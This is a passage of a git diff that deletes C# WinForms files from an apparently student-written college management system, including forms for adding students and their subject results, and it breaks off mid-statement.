- this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel5.PerformLayout(); - this.tableLayoutPanel6.ResumeLayout(false); - this.tableLayoutPanel6.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TextBox RollNumberBox; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Button button1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel6; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox urduBox; - private System.Windows.Forms.TextBox englishBox; - private System.Windows.Forms.TextBox mathBox; - private System.Windows.Forms.TextBox computerBox; - private System.Windows.Forms.TextBox physicsBox; - private System.Windows.Forms.Label addLabel; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label9; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AddResultForm.cs b/Add Code Here/C#/CMS/AddResultForm.cs deleted file mode 100644 index 851bae70e09..00000000000 --- a/Add Code Here/C#/CMS/AddResultForm.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class AddResultForm : Form - { - static int count = 0; - public AddResultForm() - { - InitializeComponent(); - } - - private void AddResultForm_Load(object sender, EventArgs e) - { - if(ResultDL.Result.Count < STUDENTDL.StudentList1.Count) - { - NameBox.Text = STUDENTDL.StudentList1[count].Name1; - RollNumberBox.Text = STUDENTDL.StudentList1[count].RollNumber1; - } - } - - private void button1_Click(object sender, EventArgs e) - { - if(ResultDL.Result.Count + 1 > STUDENTDL.StudentList1.Count) - { - AdminMenu menu = new AdminMenu(); - this.Close(); - menu.Show(); - } - else - { - MessageBox.Show("Please Add Total Student Result In Form"); - } - } - - private void label9_Click(object sender, EventArgs e) - { - if(ResultDL.Result.Count < STUDENTDL.StudentList1.Count) - { - float urdu = float.Parse(urduBox.Text); - float math = float.Parse(mathBox.Text); - float computer = float.Parse(computerBox.Text); - float physics = float.Parse(physicsBox.Text); - float english = float.Parse(englishBox.Text); - ResultBL Result = new ResultBL(STUDENTDL.StudentList1[count].Name1, urdu, math, computer, physics, english,STUDENTDL.StudentList1[count].Password1); - ResultDL.addResultIntoList(Result); - ResultDL.addResultIntoFile(Result, "Result.txt"); - count++; - AddResultForm Temp = new AddResultForm(); - this.Close(); - Temp.Show(); - } - } - - private void tableLayoutPanel6_Paint(object sender, PaintEventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/AddResultForm.resx b/Add Code Here/C#/CMS/AddResultForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/AddResultForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AddStudentForm.Designer.cs b/Add Code Here/C#/CMS/AddStudentForm.Designer.cs deleted file mode 100644 index 1293e932848..00000000000 --- a/Add Code Here/C#/CMS/AddStudentForm.Designer.cs +++ /dev/null @@ -1,495 +0,0 @@ - -namespace CMS -{ - partial class AddStudentForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel6 = new System.Windows.Forms.TableLayoutPanel(); - this.SubmitButton = new System.Windows.Forms.Button(); - this.button1 = new System.Windows.Forms.Button(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.label9 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.FatherBox = new System.Windows.Forms.TextBox(); - this.RollNumberBox = new System.Windows.Forms.TextBox(); - this.CnicBox = new System.Windows.Forms.TextBox(); - this.SectionBox = new System.Windows.Forms.TextBox(); - this.CourseBox = new System.Windows.Forms.TextBox(); - this.PasswordBox = new System.Windows.Forms.TextBox(); - this.MarksBox = new System.Windows.Forms.TextBox(); - this.BankIdBox = new System.Windows.Forms.TextBox(); - this.label10 = new System.Windows.Forms.Label(); - this.button2 = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel6.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 6.214039F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 93.78596F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 12.06395F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 87.93604F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1756, 711); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.download; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(103, 79); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Location = new System.Drawing.Point(112, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1641, 75); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(723, 18); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(194, 39); - this.label1.TabIndex = 2; - this.label1.Text = "Add Student"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.LightBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel6, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 88); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(102, 620); - this.tableLayoutPanel3.TabIndex = 2; - // - // tableLayoutPanel6 - // - this.tableLayoutPanel6.ColumnCount = 1; - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Controls.Add(this.SubmitButton, 0, 0); - this.tableLayoutPanel6.Controls.Add(this.button1, 0, 1); - this.tableLayoutPanel6.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel6.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel6.Name = "tableLayoutPanel6"; - this.tableLayoutPanel6.RowCount = 2; - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Size = new System.Drawing.Size(93, 614); - this.tableLayoutPanel6.TabIndex = 1; - // - // SubmitButton - // - this.SubmitButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.SubmitButton.BackColor = System.Drawing.Color.Green; - this.SubmitButton.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.SubmitButton.ForeColor = System.Drawing.Color.Black; - this.SubmitButton.Location = new System.Drawing.Point(3, 69); - this.SubmitButton.Name = "SubmitButton"; - this.SubmitButton.Size = new System.Drawing.Size(87, 169); - this.SubmitButton.TabIndex = 0; - this.SubmitButton.Text = "Save"; - this.SubmitButton.UseVisualStyleBackColor = false; - this.SubmitButton.Click += new System.EventHandler(this.SubmitButton_Click); - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Red; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.ForeColor = System.Drawing.Color.Black; - this.button1.Location = new System.Drawing.Point(3, 406); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(87, 109); - this.button1.TabIndex = 1; - this.button1.Text = "Back To Menu"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.LightBlue; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.tableLayoutPanel5, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.button2, 0, 1); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(112, 88); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 66F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(1641, 620); - this.tableLayoutPanel4.TabIndex = 3; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel5.ColumnCount = 2; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 15.84754F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 84.15246F)); - this.tableLayoutPanel5.Controls.Add(this.label9, 0, 8); - this.tableLayoutPanel5.Controls.Add(this.label8, 0, 6); - this.tableLayoutPanel5.Controls.Add(this.label7, 0, 5); - this.tableLayoutPanel5.Controls.Add(this.label6, 0, 4); - this.tableLayoutPanel5.Controls.Add(this.label5, 0, 3); - this.tableLayoutPanel5.Controls.Add(this.label4, 0, 2); - this.tableLayoutPanel5.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel5.Controls.Add(this.NameBox, 1, 0); - this.tableLayoutPanel5.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel5.Controls.Add(this.FatherBox, 1, 1); - this.tableLayoutPanel5.Controls.Add(this.RollNumberBox, 1, 2); - this.tableLayoutPanel5.Controls.Add(this.CnicBox, 1, 3); - this.tableLayoutPanel5.Controls.Add(this.SectionBox, 1, 4); - this.tableLayoutPanel5.Controls.Add(this.CourseBox, 1, 5); - this.tableLayoutPanel5.Controls.Add(this.PasswordBox, 1, 6); - this.tableLayoutPanel5.Controls.Add(this.MarksBox, 1, 7); - this.tableLayoutPanel5.Controls.Add(this.BankIdBox, 1, 8); - this.tableLayoutPanel5.Controls.Add(this.label10, 0, 7); - this.tableLayoutPanel5.Location = new System.Drawing.Point(289, 3); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 9; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50.92593F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 49.07407F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 66F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 57F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 62F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 58F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 60F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 60F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 58F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1062, 548); - this.tableLayoutPanel5.TabIndex = 0; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.BackColor = System.Drawing.Color.White; - this.label9.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.Location = new System.Drawing.Point(43, 506); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(82, 24); - this.label9.TabIndex = 17; - this.label9.Text = "Bank Id"; - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.BackColor = System.Drawing.Color.White; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.Location = new System.Drawing.Point(35, 387); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(98, 24); - this.label8.TabIndex = 16; - this.label8.Text = "Password"; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.BackColor = System.Drawing.Color.White; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.Location = new System.Drawing.Point(47, 328); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(74, 24); - this.label7.TabIndex = 15; - this.label7.Text = "Course"; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.White; - this.label6.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.Location = new System.Drawing.Point(45, 268); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(78, 24); - this.label6.TabIndex = 14; - this.label6.Text = "Section"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.White; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(52, 208); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(63, 24); - this.label5.TabIndex = 13; - this.label5.Text = "CNIC"; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.White; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(18, 147); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(131, 24); - this.label4.TabIndex = 12; - this.label4.Text = "Roll Number"; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.White; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(20, 83); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(128, 24); - this.label3.TabIndex = 11; - this.label3.Text = "Father Name"; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(420, 18); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(390, 27); - this.NameBox.TabIndex = 1; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(51, 20); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(65, 24); - this.label2.TabIndex = 2; - this.label2.Text = "Name"; - // - // FatherBox - // - this.FatherBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.FatherBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FatherBox.Location = new System.Drawing.Point(420, 81); - this.FatherBox.Name = "FatherBox"; - this.FatherBox.Size = new System.Drawing.Size(390, 27); - this.FatherBox.TabIndex = 3; - // - // RollNumberBox - // - this.RollNumberBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.RollNumberBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.RollNumberBox.Location = new System.Drawing.Point(420, 145); - this.RollNumberBox.Name = "RollNumberBox"; - this.RollNumberBox.Size = new System.Drawing.Size(390, 27); - this.RollNumberBox.TabIndex = 4; - // - // CnicBox - // - this.CnicBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.CnicBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CnicBox.Location = new System.Drawing.Point(420, 207); - this.CnicBox.Name = "CnicBox"; - this.CnicBox.Size = new System.Drawing.Size(390, 27); - this.CnicBox.TabIndex = 5; - // - // SectionBox - // - this.SectionBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.SectionBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.SectionBox.Location = new System.Drawing.Point(420, 266); - this.SectionBox.Name = "SectionBox"; - this.SectionBox.Size = new System.Drawing.Size(390, 27); - this.SectionBox.TabIndex = 6; - // - // CourseBox - // - this.CourseBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.CourseBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CourseBox.Location = new System.Drawing.Point(420, 326); - this.CourseBox.Name = "CourseBox"; - this.CourseBox.Size = new System.Drawing.Size(390, 27); - this.CourseBox.TabIndex = 7; - // - // PasswordBox - // - this.PasswordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PasswordBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PasswordBox.Location = new System.Drawing.Point(420, 385); - this.PasswordBox.Name = "PasswordBox"; - this.PasswordBox.Size = new System.Drawing.Size(390, 27); - this.PasswordBox.TabIndex = 8; - // - // MarksBox - // - this.MarksBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.MarksBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MarksBox.Location = new System.Drawing.Point(420, 445); - this.MarksBox.Name = "MarksBox"; - this.MarksBox.Size = new System.Drawing.Size(390, 27); - this.MarksBox.TabIndex = 9; - // - // BankIdBox - // - this.BankIdBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.BankIdBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BankIdBox.Location = new System.Drawing.Point(420, 505); - this.BankIdBox.Name = "BankIdBox"; - this.BankIdBox.Size = new System.Drawing.Size(390, 27); - this.BankIdBox.TabIndex = 10; - // - // label10 - // - this.label10.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label10.AutoSize = true; - this.label10.BackColor = System.Drawing.Color.White; - this.label10.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.Location = new System.Drawing.Point(49, 447); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(69, 24); - this.label10.TabIndex = 18; - this.label10.Text = "Marks"; - // - // button2 - // - this.button2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button2.BackColor = System.Drawing.Color.Red; - this.button2.Font = new System.Drawing.Font("Book Antiqua", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button2.Location = new System.Drawing.Point(708, 563); - this.button2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.button2.Name = "button2"; - this.button2.Size = new System.Drawing.Size(225, 48); - this.button2.TabIndex = 1; - this.button2.Text = "Back To Home Page"; - this.button2.UseVisualStyleBackColor = false; - this.button2.Click += new System.EventHandler(this.button2_Click); - // - // AddStudentForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1756, 711); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "AddStudentForm"; - this.Text = "AddStudentForm"; - this.Load += new System.EventHandler(this.AddStudentForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel6.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel5.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox FatherBox; - private System.Windows.Forms.TextBox RollNumberBox; - private System.Windows.Forms.TextBox CnicBox; - private System.Windows.Forms.TextBox SectionBox; - private System.Windows.Forms.TextBox PasswordBox; - private System.Windows.Forms.TextBox MarksBox; - private System.Windows.Forms.TextBox BankIdBox; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.TextBox CourseBox; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel6; - private System.Windows.Forms.Button SubmitButton; - private System.Windows.Forms.Button button1; - private System.Windows.Forms.Button button2; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AddStudentForm.cs b/Add Code Here/C#/CMS/AddStudentForm.cs deleted file mode 100644 index a22421220a1..00000000000 --- a/Add Code Here/C#/CMS/AddStudentForm.cs +++ /dev/null @@ -1,123 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class AddStudentForm : Form - { - public string path = "Student.txt"; - public AddStudentForm() - { - InitializeComponent(); - } - - private void SubmitButton_Click(object sender, EventArgs e) - { - string Name = NameBox.Text; - string fatherName = FatherBox.Text; - string cnic = CnicBox.Text; - string Password = PasswordBox.Text; - string section = SectionBox.Text; - float marks = 0; - try - { - marks = float.Parse(MarksBox.Text); - - } - catch(Exception) - { - MessageBox.Show("Please Input Numeric Number "); - } - string bankId = BankIdBox.Text; - string course = CourseBox.Text; - string rollNumber = RollNumberBox.Text; - if (STUDENTDL.containsPassword(Password)) - { - while (true) - { - MessageBox.Show("Please Enter Correct Password"); - Password = PasswordBox.Text; - if (STUDENTDL.containsPassword(Password) == false) - { - MessageBox.Show("Thanks For unique password"); - break; - } - } - } - if (STUDENTDL.containscnic(cnic)) - { - while (true) - { - MessageBox.Show("Please Enter Correct CNIC Unique"); - cnic = CnicBox.Text; - if (STUDENTDL.containscnic(cnic) == false) - { - MessageBox.Show("Thanks For unique cnic"); - break; - } - } - } - if 